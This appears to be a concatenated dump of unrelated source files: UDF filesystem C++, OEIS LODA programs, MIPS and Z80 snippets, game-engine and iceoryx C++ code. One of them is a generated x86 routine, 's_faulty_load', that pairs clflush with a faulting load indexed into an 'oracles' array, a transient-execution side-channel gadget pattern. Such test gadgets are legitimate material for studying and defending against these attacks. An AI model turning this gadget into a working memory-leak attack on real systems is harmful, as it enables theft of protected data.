"failed with: 0x%lx\n", address, blockSize, bytesRead));
break;
}
}
// If we find an ECMA-167 descriptor, OR if we find a beginning
// or terminating extended area descriptor with NO ECMA-168
// descriptors, we return B_OK to signal that we should go
// looking for valid anchors.
return foundECMA167 || (foundExtended && !foundECMA168) ? B_OK : B_ERROR;
}
static status_t
walk_anchor_volume_descriptor_sequences(int device, off_t offset, off_t length,
uint32 blockSize, uint32 blockShift,
primary_volume_descriptor &primaryVolumeDescriptor,
logical_volume_descriptor &logicalVolumeDescriptor,
partition_descriptor partitionDescriptors[],
uint8 &partitionDescriptorCount)
{
DEBUG_INIT(NULL);
const uint8 avds_location_count = 4;
const off_t avds_locations[avds_location_count]
= { 256, length-1-256, length-1, 512, };
bool found_vds = false;
for (int32 i = 0; i < avds_location_count; i++) {
off_t block = avds_locations[i];
off_t address = (offset + block) << blockShift;
MemoryChunk chunk(blockSize);
anchor_volume_descriptor *anchor = NULL;
status_t anchorErr = chunk.InitCheck();
if (!anchorErr) {
ssize_t bytesRead = read_pos(device, address, chunk.Data(), blockSize);
anchorErr = bytesRead == (ssize_t)blockSize ? B_OK : B_IO_ERROR;
if (anchorErr) {
PRINT(("block %" B_PRIdOFF ": read_pos(pos:%" B_PRIdOFF ", "
"len:%" PRIu32 ") failed with error 0x%lx\n",
block, address, blockSize, bytesRead));
}
}
if (!anchorErr) {
anchor = reinterpret_cast<anchor_volume_descriptor*>(chunk.Data());
anchorErr = anchor->tag().init_check(block + offset);
if (anchorErr) {
PRINT(("block %" B_PRIdOFF ": invalid anchor\n", block));
} else {
PRINT(("block %" B_PRIdOFF ": valid anchor\n", block));
}
}
if (!anchorErr) {
PRINT(("block %" B_PRIdOFF ": anchor:\n", block));
PDUMP(anchor);
// Found an avds, so try the main sequence first, then
// the reserve sequence if the main one fails.
anchorErr = walk_volume_descriptor_sequence(anchor->main_vds(),
device, blockSize, blockShift, primaryVolumeDescriptor,
logicalVolumeDescriptor, partitionDescriptors,
partitionDescriptorCount);
if (anchorErr)
anchorErr = walk_volume_descriptor_sequence(anchor->reserve_vds(),
device, blockSize, blockShift, primaryVolumeDescriptor,
logicalVolumeDescriptor, partitionDescriptors,
partitionDescriptorCount);
}
if (!anchorErr) {
PRINT(("block %" B_PRIdOFF ": found valid vds\n",
avds_locations[i]));
found_vds = true;
break;
} else {
// Both failed, so loop around and try another avds
PRINT(("block %" B_PRIdOFF ": vds search failed\n",
avds_locations[i]));
}
}
status_t error = found_vds ? B_OK : B_ERROR;
RETURN(error);
}
static status_t
walk_tagid_partition_descriptor(descriptor_tag *tag, off_t block,
uint8& uniquePartitions, partition_descriptor* partitionDescriptors)
{
DEBUG_INIT(NULL);
status_t error = B_OK;
partition_descriptor *partition =
reinterpret_cast<partition_descriptor*>(tag);
PDUMP(partition);
if (partition->tag().init_check(block) == B_OK) {
// Check for a previously discovered partition descriptor with
// the same number as this partition. If found, keep the one with
// the higher vds number.
bool foundDuplicate = false;
int num;
for (num = 0; num < uniquePartitions; num++) {
if (partitionDescriptors[num].partition_number()
== partition->partition_number()) {
foundDuplicate = true;
if (partitionDescriptors[num].vds_number()
< partition->vds_number()) {
partitionDescriptors[num] = *partition;
PRINT(("Replacing previous partition #%d "
"(vds_number: %" B_PRIu32 ") with new partition #%d "
"(vds_number: %" B_PRIu32 ")\n",
partitionDescriptors[num].partition_number(),
partitionDescriptors[num].vds_number(),
partition->partition_number(),
partition->vds_number()));
}
break;
}
}
// If we didn't find a duplicate, see if we have any open descriptor
// spaces left.
if (!foundDuplicate) {
if (num < kMaxPartitionDescriptors) {
// At least one more partition descriptor allowed
partitionDescriptors[num] = *partition;
uniquePartitions++;
PRINT(("Adding partition #%d (vds_number: %" B_PRIu32 ")\n",
partition->partition_number(),
partition->vds_number()));
} else {
// We've found more than kMaxPartitionDescriptor uniquely-
// numbered partitions. So, search through the partitions
// we already have again, this time just looking for a
// partition with a lower vds number. If we find one,
// replace it with this one. If we don't, scream bloody
// murder.
bool foundReplacement = false;
for (int j = 0; j < uniquePartitions; j++) {
if (partitionDescriptors[j].vds_number()
< partition->vds_number()) {
foundReplacement = true;
partitionDescriptors[j] = *partition;
PRINT(("Replacing partition #%d "
"(vds_number: %" B_PRIu32 ") "
"with partition #%d "
"(vds_number: %" B_PRIu32 ")\n",
partitionDescriptors[j].partition_number(),
partitionDescriptors[j].vds_number(),
partition->partition_number(),
partition->vds_number()));
break;
}
}
if (!foundReplacement) {
PRINT(("Found more than kMaxPartitionDescriptors == %d "
"unique partition descriptors!\n",
kMaxPartitionDescriptors));
error = B_BAD_VALUE;
}
}
}
}
RETURN(error);
}
static
status_t
walk_volume_descriptor_sequence(extent_address descriptorSequence,
int device, uint32 blockSize, uint32 blockShift,
primary_volume_descriptor &primaryVolumeDescriptor,
logical_volume_descriptor &logicalVolumeDescriptor,
partition_descriptor partitionDescriptors[],
uint8 &partitionDescriptorCount)
{
DEBUG_INIT_ETC(NULL, ("descriptorSequence.loc:%" PRIu32 ", "
"descriptorSequence.len:%" PRIu32,
descriptorSequence.location(), descriptorSequence.length()));
uint32 count = descriptorSequence.length() >> blockShift;
bool foundLogicalVolumeDescriptor = false;
bool foundUnallocatedSpaceDescriptor = false;
bool foundUdfImplementationUseDescriptor = false;
uint8 uniquePartitions = 0;
status_t error = B_OK;
for (uint32 i = 0; i < count; i++) {
off_t block = descriptorSequence.location()+i;
off_t address = block << blockShift;
MemoryChunk chunk(blockSize);
descriptor_tag *tag = NULL;
PRINT(("descriptor #%" PRIu32 " (block %" B_PRIdOFF "):\n", i, block));
status_t loopError = chunk.InitCheck();
if (!loopError) {
ssize_t bytesRead = read_pos(device, address, chunk.Data(),
blockSize);
loopError = bytesRead == (ssize_t)blockSize ? B_OK : B_IO_ERROR;
if (loopError) {
PRINT(("block %" B_PRIdOFF ": read_pos(pos:%" B_PRIdOFF ", "
"len:%" B_PRIu32 ") failed with error 0x%lx\n",
block, address, blockSize, bytesRead));
}
}
if (!loopError) {
tag = reinterpret_cast<descriptor_tag *>(chunk.Data());
loopError = tag->init_check(block);
}
if (!loopError) {
// Now decide what type of descriptor we have
switch (tag->id()) {
case TAGID_UNDEFINED:
break;
case TAGID_PRIMARY_VOLUME_DESCRIPTOR:
{
primary_volume_descriptor *primary =
reinterpret_cast<primary_volume_descriptor*>(tag);
PDUMP(primary);
primaryVolumeDescriptor = *primary;
break;
}
case TAGID_ANCHOR_VOLUME_DESCRIPTOR_POINTER:
break;
case TAGID_VOLUME_DESCRIPTOR_POINTER:
break;
case TAGID_IMPLEMENTATION_USE_VOLUME_DESCRIPTOR:
{
implementation_use_descriptor *impUse =
reinterpret_cast<implementation_use_descriptor*>(tag);
PDUMP(impUse);
// Check for a matching implementation id string
// (note that the revision version is not checked)
if (impUse->tag().init_check(block) == B_OK
&& impUse->implementation_id().matches(
kLogicalVolumeInfoId201)) {
foundUdfImplementationUseDescriptor = true;
}
break;
}
case TAGID_PARTITION_DESCRIPTOR:
{
error = walk_tagid_partition_descriptor(
tag, block, uniquePartitions, partitionDescriptors);
break;
}
case TAGID_LOGICAL_VOLUME_DESCRIPTOR:
{
logical_volume_descriptor *logical =
reinterpret_cast<logical_volume_descriptor*>(tag);
PDUMP(logical);
if (foundLogicalVolumeDescriptor) {
// Keep the vd with the highest vds_number
if (logicalVolumeDescriptor.vds_number()
< logical->vds_number()) {
logicalVolumeDescriptor = *logical;
}
} else {
logicalVolumeDescriptor = *logical;
foundLogicalVolumeDescriptor = true;
}
break;
}
case TAGID_UNALLOCATED_SPACE_DESCRIPTOR:
{
unallocated_space_descriptor *unallocated =
reinterpret_cast<unallocated_space_descriptor*>(tag);
PDUMP(unallocated);
foundUnallocatedSpaceDescriptor = true;
(void)unallocated; // kill the warning
break;
}
case TAGID_TERMINATING_DESCRIPTOR:
{
terminating_descriptor *terminating =
reinterpret_cast<terminating_descriptor*>(tag);
PDUMP(terminating);
(void)terminating; // kill the warning
break;
}
case TAGID_LOGICAL_VOLUME_INTEGRITY_DESCRIPTOR:
// Not found in this descriptor sequence
break;
default:
break;
}
}
}
PRINT(("found %d unique partition%s\n", uniquePartitions,
(uniquePartitions == 1 ? "" : "s")));
if (!error && !foundUdfImplementationUseDescriptor) {
INFORM(("WARNING: no valid udf implementation use descriptor found\n"));
}
if (!error)
error = foundLogicalVolumeDescriptor
&& foundUnallocatedSpaceDescriptor
? B_OK : B_ERROR;
if (!error)
error = uniquePartitions >= 1 ? B_OK : B_ERROR;
if (!error)
partitionDescriptorCount = uniquePartitions;
RETURN(error);
}
/*! \brief Walks the integrity sequence in the extent given by \a descriptorSequence.
\return
- \c B_OK: Success. the sequence was terminated by a valid, closed
integrity descriptor.
- \c B_ENTRY_NOT_FOUND: The sequence was empty.
- (other error code): The sequence was non-empty and did not end in a valid,
closed integrity descriptor.
*/
static status_t
walk_integrity_sequence(int device, uint32 blockSize, uint32 blockShift,
extent_address descriptorSequence, uint32 sequenceNumber)
{
DEBUG_INIT_ETC(NULL,
("descriptorSequence.loc:%" B_PRIu32 ", "
"descriptorSequence.len:%" B_PRIu32 ,
descriptorSequence.location(), descriptorSequence.length()));
uint32 count = descriptorSequence.length() >> blockShift;
bool lastDescriptorWasClosed = false;
uint16 highestMinimumUDFReadRevision = 0x0000;
status_t error = count > 0 ? B_OK : B_ENTRY_NOT_FOUND;
for (uint32 i = 0; error == B_OK && i < count; i++) {
off_t block = descriptorSequence.location()+i;
off_t address = block << blockShift;
MemoryChunk chunk(blockSize);
descriptor_tag *tag = NULL;
PRINT(("integrity descriptor #%" B_PRIu32 ":%" B_PRIu32
" (block %" B_PRIdOFF "):\n",
sequenceNumber, i, block));
status_t loopError = chunk.InitCheck();
if (!loopError) {
ssize_t bytesRead = read_pos(device, address, chunk.Data(), blockSize);
loopError = check_size_error(bytesRead, blockSize);
if (loopError) {
PRINT(("block %" B_PRIdOFF": read_pos(pos:%" B_PRIdOFF
", len:%" B_PRIu32 ") failed with error 0x%lx\n",
block, address, blockSize, bytesRead));
}
}
if (!loopError) {
tag = reinterpret_cast<descriptor_tag *>(chunk.Data());
loopError = tag->init_check(block);
}
if (!loopError) {
// Check the descriptor type and see if it's closed.
loopError = tag->id() == TAGID_LOGICAL_VOLUME_INTEGRITY_DESCRIPTOR
? B_OK : B_BAD_DATA;
if (!loopError) {
logical_volume_integrity_descriptor *descriptor =
reinterpret_cast<logical_volume_integrity_descriptor*>(chunk.Data());
PDUMP(descriptor);
lastDescriptorWasClosed = descriptor->integrity_type() == INTEGRITY_CLOSED;
if (lastDescriptorWasClosed) {
uint16 minimumRevision = descriptor->minimum_udf_read_revision();
if (minimumRevision > highestMinimumUDFReadRevision) {
highestMinimumUDFReadRevision = minimumRevision;
} else if (minimumRevision < highestMinimumUDFReadRevision) {
INFORM(("WARNING: found decreasing minimum udf read revision in integrity "
"sequence (last highest: 0x%04x, current: 0x%04x); using higher "
"revision.\n", highestMinimumUDFReadRevision, minimumRevision));
}
}
// Check a continuation extent if necessary. Note that this effectively
// ends our search through this extent
extent_address &next = descriptor->next_integrity_extent();
if (next.length() > 0) {
status_t nextError = walk_integrity_sequence(device, blockSize, blockShift,
next, sequenceNumber+1);
if (nextError && nextError != B_ENTRY_NOT_FOUND) {
// Continuation proved invalid
error = nextError;
break;
} else {
// Either the continuation was valid or empty; either way,
// we're done searching.
break;
}
}
} else {
PDUMP(tag);
}
}
// If we hit an error on the first item, consider the extent empty,
// otherwise just break out of the loop and assume part of the
// extent is unrecorded
if (loopError) {
if (i == 0)
error = B_ENTRY_NOT_FOUND;
else
break;
}
}
if (!error)
error = lastDescriptorWasClosed ? B_OK : B_BAD_DATA;
if (error == B_OK
&& highestMinimumUDFReadRevision > UDF_MAX_READ_REVISION) {
error = B_ERROR;
FATAL(("found udf revision 0x%x more than max 0x%x\n",
highestMinimumUDFReadRevision, UDF_MAX_READ_REVISION));
}
RETURN(error);
}
|
; A169026: Number of reduced words of length n in Coxeter group on 13 generators S_i with relations (S_i)^2 = (S_i S_j)^24 = I.
; 1,13,156,1872,22464,269568,3234816,38817792,465813504,5589762048,67077144576,804925734912,9659108818944,115909305827328,1390911669927936,16690940039135232,200291280469622784
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
div $3,$2
mul $2,12
lpe
mov $0,$2
div $0,12
|
ORG $8000
ld b,c
DEVICE ZXSPECTRUMNEXT
|
; A158772: a(n) = A138635(n+18)-A138635(n).
; 21,21,21,42,42,42,84,84,84,168,168,168,336,336,336,672,672,672,1344,1344,1344,2688,2688,2688,5376,5376,5376,10752,10752,10752,21504,21504,21504,43008,43008,43008,86016,86016,86016,172032,172032,172032,344064
div $0,3
mov $1,2
pow $1,$0
mul $1,21
mov $0,$1
|
.eqv SYS_PRINT_STRING 4
.eqv SYS_READ_WORD 5
.eqv SYS_EXIT 10
.data
posstr: .asciiz "Positive\n"
nonposstr: .asciiz "Non Positive\n"
.text
.globl main
main:
li $v0, SYS_READ_WORD
syscall
# t0 = 1 if v0 == 0
slt $t0, $v0, $zero
beq $t0, $zero, pos
li $v0, SYS_PRINT_STRING
la $a0, nonposstr
syscall
j exit
pos:
li $v0, SYS_PRINT_STRING
la $a0, posstr
syscall
exit:
li $v0, SYS_EXIT
syscall
|
// Copyright(c) 2019 - 2020, #Momo
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met :
//
// 1. Redistributions of source code must retain the above copyright notice, this
// list of conditions and the following disclaimer.
//
// 2. Redistributions in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and /or other materials provided with the distribution.
//
// 3. Neither the name of the copyright holder nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
// DISCLAIMED.IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
// DAMAGES(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
// OR TORT(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#include "Mesh.h"
#include "Utilities/ObjectLoader/ObjectLoader.h"
#include "Utilities/Profiler/Profiler.h"
#include "Platform/GraphicAPI.h"
#include "Utilities/LODGenerator/LODGenerator.h"
#include "Utilities/Format/Format.h"
#include "Core/Resources/ResourceFactory.h"
#include "Core/Components/Rendering/MeshRenderer.h"
#include <algorithm>
namespace MxEngine
{
void Mesh::LoadFromFile(const MxString& filepath)
{
ObjectInfo objectInfo = ObjectLoader::Load(filepath);
MxVector<Transform::Handle> submeshTransforms;
for (const auto& group : objectInfo.meshes)
{
submeshTransforms.push_back(ComponentFactory::CreateComponent<Transform>());
}
MxVector<SubMesh::MaterialId> materialIds;
materialIds.reserve(objectInfo.meshes.size());
for (const auto& group : objectInfo.meshes)
{
if (group.useTexture && group.material != nullptr)
{
auto offset = size_t(group.material - objectInfo.materials.data());
materialIds.push_back(offset);
}
else
{
materialIds.push_back(std::numeric_limits<SubMesh::MaterialId>::max());
}
}
if (!objectInfo.materials.empty())
{
// dump all material to let user retrieve them for MeshRenderer component
auto materialLibPath = filepath + MeshRenderer::GetMaterialFileSuffix();
if (!File::Exists(materialLibPath))
ObjectLoader::DumpMaterials(objectInfo.materials, materialLibPath);
}
for (size_t i = 0; i < objectInfo.meshes.size(); i++)
{
auto& meshData = objectInfo.meshes[i];
auto& materialId = materialIds[i];
auto& transform = submeshTransforms[i];
SubMesh submesh(materialId, transform);
submesh.MeshData.GetVertecies() = std::move(meshData.vertecies);
submesh.MeshData.GetIndicies() = std::move(meshData.indicies);
submesh.MeshData.BufferVertecies();
submesh.MeshData.BufferIndicies();
submesh.MeshData.UpdateBoundingBox();
submesh.Name = std::move(meshData.name);
submeshes.push_back(std::move(submesh));
}
this->UpdateAABB(); // use submeshes AABB to update mesh bounding box
}
Mesh::Mesh(const MxString& path)
{
this->LoadFromFile(path);
}
void Mesh::Load(const MxString& filepath)
{
this->LoadFromFile(filepath);
}
Mesh::SubmeshList& Mesh::GetSubmeshes()
{
return this->submeshes;
}
const Mesh::SubmeshList& Mesh::GetSubmeshes() const
{
return this->submeshes;
}
const AABB& Mesh::GetAABB() const
{
return this->boundingBox;
}
void Mesh::SetAABB(const AABB& boundingBox)
{
this->boundingBox = boundingBox;
}
void Mesh::UpdateAABB()
{
this->boundingBox = { MakeVector3(0.0f), MakeVector3(0.0f) };
if (!this->submeshes.empty())
this->boundingBox = this->submeshes.front().MeshData.GetAABB();
for (const auto& submesh : this->submeshes)
{
this->boundingBox.Min = VectorMin(this->boundingBox.Min, submesh.MeshData.GetAABB().Min);
this->boundingBox.Max = VectorMax(this->boundingBox.Max, submesh.MeshData.GetAABB().Max);
}
}
size_t Mesh::AddInstancedBuffer(GResource<VertexBuffer> vbo, GResource<VertexBufferLayout> vbl)
{
this->VBOs.push_back(std::move(vbo));
this->VBLs.push_back(std::move(vbl));
for (auto& mesh : submeshes)
{
mesh.MeshData.GetVAO()->AddInstancedBuffer(*this->VBOs.back(), *this->VBLs.back());
}
return this->VBOs.size() - 1;
}
GResource<VertexBuffer> Mesh::GetBufferByIndex(size_t index) const
{
MX_ASSERT(index < this->VBOs.size());
return this->VBOs[index];
}
GResource<VertexBufferLayout> Mesh::GetBufferLayoutByIndex(size_t index) const
{
MX_ASSERT(index < this->VBLs.size());
return this->VBLs[index];
}
size_t Mesh::GetBufferCount() const
{
return this->VBOs.size();
}
void Mesh::PopInstancedBuffer()
{
MX_ASSERT(!this->VBOs.empty());
for (auto& mesh : submeshes)
{
mesh.MeshData.GetVAO()->PopBuffer(*this->VBLs.back());
}
this->VBOs.pop_back();
this->VBLs.pop_back();
}
} |
; A208378: Number of n X 7 0..1 arrays avoiding 0 0 0 and 1 1 1 horizontally and 0 0 1 and 1 0 1 vertically.
; 42,1764,6216,13860,25200,40740,60984,86436,117600,154980,199080,250404,309456,376740,452760,538020,633024,738276,854280,981540,1120560,1271844,1435896,1613220,1804320,2009700,2229864,2465316,2716560,2984100,3268440,3570084,3889536,4227300,4583880,4959780,5355504,5771556,6208440,6666660,7146720,7649124,8174376,8722980,9295440,9892260,10513944,11160996,11833920,12533220,13259400,14012964,14794416,15604260,16443000,17311140,18209184,19137636,20097000,21087780,22110480,23165604,24253656,25375140,26530560,27720420,28945224,30205476,31501680,32834340,34203960,35611044,37056096,38539620,40062120,41624100,43226064,44868516,46551960,48276900,50043840,51853284,53705736,55601700,57541680,59526180,61555704,63630756,65751840,67919460,70134120,72396324,74706576,77065380,79473240,81930660,84438144,86996196,89605320,92266020
mov $1,6
mov $4,$0
mul $4,$0
add $4,3
add $4,$0
mov $2,$4
mov $3,$0
mul $3,6
trn $3,3
add $3,5
mov $5,-1
lpb $1
div $1,$3
add $5,1
lpe
mov $1,$5
add $1,4
mul $3,2
add $2,$3
mul $2,2
mul $2,$0
add $1,$2
sub $1,5
mul $1,42
add $1,42
mov $0,$1
|
; A247487: Expansion of (2 + x + x^2 + x^3 - x^4 - 2*x^5 - 4*x^6 - 8*x^7) / (1 - x^4 + 16*x^8) in powers of x.
; Submitted by Christian Krause
; 2,1,1,1,1,-1,-3,-7,-31,-17,-19,-23,-47,-1,29,89,449,271,333,457,1201,287,-131,-967,-5983,-4049,-5459,-8279,-25199,-8641,-3363,7193,70529,56143,83981,139657,473713,194399,137789,24569,-654751,-703889,-1205907,-2209943,-8234159,-3814273,-3410531,-2603047,2241857,7447951,15883981,32756041,133988401,68476319,70452477,74404793,98118689,-50690897,-183691219,-449691863,-2045695727,-1146312001,-1310930851,-1640168551,-3615594751,-335257649,1628128653,5554901257,29115536881,18005734367,22603022269
seq $0,247564 ; a(n) = 3*a(n-2) - 4*a(n-4) with a(0) = 2, a(1) = 1, a(2) = 3, a(3) = 1.
dif $0,3
|
; A098386: Prime(n)-Log2(n), where Log2=A000523.
; 2,2,4,5,9,11,15,16,20,26,28,34,38,40,44,49,55,57,63,67,69,75,79,85,93,97,99,103,105,109,123,126,132,134,144,146,152,158,162,168,174,176,186,188,192,194,206,218,222,224,228,234,236,246,252,258,264,266,272,276
mul $0,2
mov $2,$0
max $0,1
seq $0,173919 ; Numbers that are prime or one less than a prime.
add $2,2
lpb $2
sub $0,1
div $2,2
lpe
add $0,2
|
// Copyright (c) 2020 by Robert Bosch GmbH. All rights reserved.
// Copyright (c) 2021 - 2022 by Apex.AI Inc. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// SPDX-License-Identifier: Apache-2.0
#ifndef IOX_POSH_POPO_BUILDING_BLOCKS_CHUNK_RECEIVER_INL
#define IOX_POSH_POPO_BUILDING_BLOCKS_CHUNK_RECEIVER_INL
#include "iceoryx_hoofs/error_handling/error_handling.hpp"
#include "iceoryx_posh/internal/log/posh_logging.hpp"
namespace iox
{
namespace popo
{
inline constexpr const char* asStringLiteral(const ChunkReceiveResult value) noexcept
{
switch (value)
{
case ChunkReceiveResult::TOO_MANY_CHUNKS_HELD_IN_PARALLEL:
return "ChunkReceiveResult::TOO_MANY_CHUNKS_HELD_IN_PARALLEL";
case ChunkReceiveResult::NO_CHUNK_AVAILABLE:
return "ChunkReceiveResult::NO_CHUNK_AVAILABLE";
}
return "[Undefined ChunkReceiveResult]";
}
inline std::ostream& operator<<(std::ostream& stream, ChunkReceiveResult value) noexcept
{
stream << asStringLiteral(value);
return stream;
}
inline log::LogStream& operator<<(log::LogStream& stream, ChunkReceiveResult value) noexcept
{
stream << asStringLiteral(value);
return stream;
}
template <typename ChunkReceiverDataType>
inline ChunkReceiver<ChunkReceiverDataType>::ChunkReceiver(
cxx::not_null<MemberType_t* const> chunkReceiverDataPtr) noexcept
: Base_t(static_cast<typename ChunkReceiverDataType::ChunkQueueData_t*>(chunkReceiverDataPtr))
{
}
template <typename ChunkReceiverDataType>
inline const typename ChunkReceiver<ChunkReceiverDataType>::MemberType_t*
ChunkReceiver<ChunkReceiverDataType>::getMembers() const noexcept
{
return reinterpret_cast<const MemberType_t*>(Base_t::getMembers());
}
template <typename ChunkReceiverDataType>
inline typename ChunkReceiver<ChunkReceiverDataType>::MemberType_t*
ChunkReceiver<ChunkReceiverDataType>::getMembers() noexcept
{
return reinterpret_cast<MemberType_t*>(Base_t::getMembers());
}
template <typename ChunkReceiverDataType>
inline cxx::expected<const mepoo::ChunkHeader*, ChunkReceiveResult>
ChunkReceiver<ChunkReceiverDataType>::tryGet() noexcept
{
auto popRet = this->tryPop();
if (popRet.has_value())
{
auto sharedChunk = *popRet;
// if the application holds too many chunks, don't provide more
if (getMembers()->m_chunksInUse.insert(sharedChunk))
{
return cxx::success<const mepoo::ChunkHeader*>(
const_cast<const mepoo::ChunkHeader*>(sharedChunk.getChunkHeader()));
}
else
{
// release the chunk
sharedChunk = nullptr;
return cxx::error<ChunkReceiveResult>(ChunkReceiveResult::TOO_MANY_CHUNKS_HELD_IN_PARALLEL);
}
}
return cxx::error<ChunkReceiveResult>(ChunkReceiveResult::NO_CHUNK_AVAILABLE);
}
template <typename ChunkReceiverDataType>
inline void ChunkReceiver<ChunkReceiverDataType>::release(const mepoo::ChunkHeader* const chunkHeader) noexcept
{
mepoo::SharedChunk chunk(nullptr);
// PRQA S 4127 1 # d'tor of SharedChunk will release the memory, we do not have to touch the returned chunk
if (!getMembers()->m_chunksInUse.remove(chunkHeader, chunk)) // PRQA S 4127
{
errorHandler(Error::kPOPO__CHUNK_RECEIVER_INVALID_CHUNK_TO_RELEASE_FROM_USER, nullptr, ErrorLevel::SEVERE);
}
}
template <typename ChunkReceiverDataType>
inline void ChunkReceiver<ChunkReceiverDataType>::releaseAll() noexcept
{
getMembers()->m_chunksInUse.cleanup();
this->clear();
}
} // namespace popo
} // namespace iox
#endif // IOX_POSH_POPO_BUILDING_BLOCKS_CHUNK_RECEIVER_INL
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x162cf, %rsi
lea addresses_WT_ht+0xeacf, %rdi
nop
nop
nop
nop
nop
add %r10, %r10
mov $32, %rcx
rep movsw
nop
dec %rsi
lea addresses_UC_ht+0xe7f, %r13
xor %r8, %r8
mov (%r13), %rsi
add %r13, %r13
lea addresses_A_ht+0xac27, %rdi
clflush (%rdi)
nop
xor $14907, %rdx
movb $0x61, (%rdi)
nop
nop
nop
nop
nop
cmp $59917, %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r8
push %rax
push %rbp
push %rcx
push %rdi
// Store
mov $0x97f, %rax
nop
nop
and $53683, %rbp
movb $0x51, (%rax)
nop
nop
nop
cmp %r13, %r13
// Store
mov $0x322e78000000093c, %r11
clflush (%r11)
nop
nop
nop
inc %rax
movb $0x51, (%r11)
nop
nop
nop
nop
nop
xor %rdi, %rdi
// Store
lea addresses_PSE+0x10a9b, %r11
nop
nop
and $49987, %r8
mov $0x5152535455565758, %rcx
movq %rcx, (%r11)
add %r11, %r11
// Store
lea addresses_WC+0x22cf, %rbp
cmp %rcx, %rcx
mov $0x5152535455565758, %r8
movq %r8, %xmm7
vmovaps %ymm7, (%rbp)
nop
and $11366, %rax
// Store
mov $0xe0f, %r11
nop
and %rdi, %rdi
mov $0x5152535455565758, %r13
movq %r13, %xmm0
movaps %xmm0, (%r11)
nop
nop
nop
add $39722, %r8
// Load
mov $0x56d09d000000064f, %rdi
nop
nop
nop
nop
cmp $48846, %r11
mov (%rdi), %r13w
nop
nop
nop
nop
inc %r11
// Store
lea addresses_D+0x5803, %r8
clflush (%r8)
nop
nop
nop
add %rcx, %rcx
movl $0x51525354, (%r8)
nop
xor $17636, %r13
// Store
lea addresses_A+0x1b6cf, %rdi
nop
cmp $46040, %r11
movl $0x51525354, (%rdi)
nop
nop
nop
nop
and %rbp, %rbp
// Faulty Load
lea addresses_PSE+0x3acf, %rdi
nop
nop
nop
nop
sub $56015, %r8
mov (%rdi), %ebp
lea oracles, %r8
and $0xff, %rbp
shlq $12, %rbp
mov (%r8,%rbp,1), %rbp
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': True, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': True, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_P', 'same': False, 'AVXalign': True, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_NC', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 7}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 4, 'NT': True, 'type': 'addresses_PSE', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 11}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': True, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': True, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'33': 44}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
rst 0x28 ; @@ 0x2756 ef .instr
dec sp ; @@ 0x2757 3b
jr c, 0x2772 ; @@ 0x2758 38 18
jr 0x2734 ; @@ 0x2771 18 c1 .instr
---
rst 0x28 ; @@ 0x2756 ef .instr
dec sp ; @@ 0x2757 3b
jr c, 0x2772 ; @@ 0x2758 38 18
